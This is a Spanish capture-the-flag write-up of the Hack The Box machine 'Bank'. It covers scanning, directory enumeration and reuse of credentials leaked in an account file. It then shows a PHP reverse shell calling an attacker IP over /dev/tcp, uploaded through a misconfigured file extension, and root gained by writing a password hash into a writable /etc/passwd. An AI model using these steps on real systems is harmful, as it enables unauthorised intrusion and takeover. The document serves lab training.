Bank Writeup [ES] - Hack The Box

Bank Writeup [ES] - Hack The Box

ยท

5 min read

Descripcion ๐Ÿ“•

Hoy vamos a hacer la maquina Bank la cual es una maquina retirada, dificultad EASY.

Requerimientos para la maquina:

  • nmap
  • nslookup
  • dig
  • feroxbuster
  • wordlist

User Flag ๐Ÿง‘

Arrancamos por scanear puertos como se suele hacer siempre

nmap -T4 --min-rate 5000 -sV -A -o bank 10.10.10.29
Nmap scan report for 10.10.10.29 (10.10.10.29)
Host is up (0.17s latency).
Not shown: 990 closed ports
PORT      STATE    SERVICE     VERSION
22/tcp    open     ssh         OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 08:ee:d0:30:d5:45:e4:59:db:4d:54:a8:dc:5c:ef:15 (DSA)
|   2048 b8:e0:15:48:2d:0d:f0:f1:73:33:b7:81:64:08:4a:91 (RSA)
|   256 a0:4c:94:d1:7b:6e:a8:fd:07:fe:11:eb:88:d5:16:65 (ECDSA)
|_  256 2d:79:44:30:c8:bb:5e:8f:07:cf:5b:72:ef:a1:6d:67 (ED25519)
53/tcp    open     domain      ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.9.5-3ubuntu0.14-Ubuntu
80/tcp    open     http        Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
407/tcp   filtered timbuktu
541/tcp   filtered uucp-rlogin
1521/tcp  filtered oracle
5907/tcp  filtered unknown
8701/tcp  filtered unknown
8994/tcp  filtered unknown
24444/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Viendo que el puerto 53 esta abierto sabemos que hay un dns, al ser bank la maquina podemos suponer que existe el dominio bank.htb el cual es normal en muchas maquinas de htb llamarse como la maquina + .htb, agreguemos esto al /etc/hosts y probemos

cat /etc/hosts             
127.0.0.1       localhost
10.10.10.29     bank.htb

Una vez eso entramos a bank.htb y ahora veremos un portal con un login

img

Podemos probar cosas basicas como SQL Injection haciendo un 'OR 1=1-- pero no conseguimos nada, asi que lo primero que vamos a hacer es intentar encontrar paginas ocultas, para eso vamos a usar feroxbuster

feroxbuster --insecure -u http://bank.htb -m GET -w ~/Documents/Security/wordlists/directory_list_lowercase_2.3_medium.txt --threads 200 -C 401

De esta forma obtenemos muchisimas paginas, pero la que nos interesa es balance-transter en esta vamos a encontrar un monton de cuentas con extension .acc lo cual si vemos son demasiadas, pero como estamos en un indexador de archivos vamos a ordenar por lo que vamos viendo.

Por el campo Last modified no se ve nada diferente, por Size hay una que pesa 257 lo cual es muy difenrete a la mayoria y se ve que esta es la que nos interesa por que fallo la encryptacion y tiene los datos del usuario

68576f20e9732f1b2edc4df5b8533230.acc
--ERR ENCRYPT FAILED
+=================+
| HTB Bank Report |
+=================+

===UserAccount===
Full Name: Christos Christopoulos
Email: chris@bank.htb
Password: !##HTBB4nkP4ssw0rd!##
CreditCards: 5
Transactions: 39
Balance: 8842803 .
===UserAccount===

Con esto vamos a volver a la pagina del login e intentar logearnos con estas credenciales.

Nos pudimos logear!

img

Mirando rapidamente en la pagina dashboard no hay nada interesante, pero en la pagina Support vemos un formulario, veamos como funciona el mismo.

Por lo visto solo podemos subir imagenes

img

Veamos el source code para ver como funciona esta pagina, viendo el codigo fuente podemos ver un comentario el cual nos falicita mucho las cosas

                <div style="position:relative;">
                        <!-- [DEBUG] I added the file extension .htb to execute as php for debugging purposes only [DEBUG] -->
                        <a class='btn btn-primary' href='javascript:;'>
                            Choose File...
                            <input type="file" required style='position:absolute;z-index:2;top:0;left:0;filter: alpha(opacity=0);-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";opacity:0;background-color:transparent;color:transparent;' name="fileToUpload" size="40"  onchange='$("#upload-file-info").html($(this).val().replace("C:\\fakepath\\", ""));'>
                        </a>
                        &nbsp;
                        <span class='label label-info' id="upload-file-info"></span>
                </div>

Por lo visto si le agregamos .htb a un archivo estariamos ejecutando codigo php del lado del servidor, con esta informacion vamos a crear una reverse shell de php con extension .htb, algo asi como reverse.php.htb

Algo asi

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.34/4444 0>&1'");
?>

Previo a esto vamos a abrir un servidor de netcat en el puerto deseado (en mi caso 4444)

nc -lvpn 4444

Una vez subido nuestro archivo con la reverse shell con extension .htb vamos a hacerle click donde esta el attachment que dice Click here

Esto va a ejecutar el codigo php y obtenemos reverse shell!

img

En la carpeta /home/chris/user.txt tenemos la primera flag donde podemos verla con el usuario actual.

Root Flag ๐Ÿ–ฅ

Para enumerar el sistema voy a usar un script llamado linpeas el cual sirve para encontrar vulnerabilidades en los sistemas. Tenemos que subirlo a la maquina lo cual vamos a primero en nuestra maquina host levantar un server de python donde tenemos el script.

sudo python3 -m http.server 8000

Despues en la maquina target vamos a hacer

cd /tmp
wget <TU_IP:8000>/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

En el reporte de linpeas podemos ver lo siguiente

Interesting writable files owned by me or writable by everyone (not in Home) (max 500)                                                                       
โ•š https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files                                                                                         
/etc/passwd

Viendo que tenemos permisos de escritura en el /etc/passwd podemos agregarle una password al usuario root de la siguiente manera

openssl passwd hola
P6afTBIDyFGYE

Esto lo vamos a agregar en /etc/passwd

www-data@bank:/tmp$ cat /etc/passwd                                                                                                                             
root:x:0:0:root:/root:/bin/bash                                                                                                                       
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin                                                                                                              
bin:x:2:2:bin:/bin:/usr/sbin/nologin

Donde va la x en root, vamos a agregar el hash que nos dio el openssl

root:P6afTBIDyFGYE:0:0:root:/root:/bin/bash

Ahora vamos a hacer un su y escribimos la password que usamos antes hola

img

Conclusion ๐Ÿ

Felicitaciones! Si llegaste hasta aca es porque lograste hacer el root de la maquina Bank de Hack The Box. Espero que hayas aprendido algo nuevo.

Si tenes alguna duda o consideras que algo se puede mejorar me podes contactar atravez de mis redes

Si necesitas ayuda con escenarios mas dificiles o simplemente queres compartir sobre lo que te gusta en comunidad, te invito a unirte a HTB Argentina

ย